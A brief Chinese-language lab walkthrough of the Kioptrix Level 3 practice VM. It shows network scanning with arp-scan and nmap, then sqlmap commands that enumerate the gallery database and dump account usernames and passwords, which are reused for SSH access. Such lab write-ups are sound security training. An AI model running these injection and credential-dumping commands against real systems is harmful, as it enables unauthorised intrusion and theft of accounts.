KioptrixVM3靶机

先c段扫描一下

arp-scan -l

扫描一下ip

namp - sV -p- 192.168.48.135

发先22和80端口

访问一下、

在跳转中发现

无论则么点都会跳到koiptrix3.com

将连接换为http://192.168.48.135可以正常访问为了方便，我这边将/etc/hosts文件配置一下

在这个页面发先可能存在sql注入

这边用sqlmap跑一下

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --dbs

发现存在sql注入

这里会让我们选则注入点

看一下表

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery --tables

查看一下表下字段

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T gallarific_users --columns

查看一下username,password

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T dev_accounts -C username,password --dump

sqlmap帮我们解出密码了

之前80端口发现过一个登陆界面

登陆了一下发现不行

想起22端口远程连接试试

发现连接成功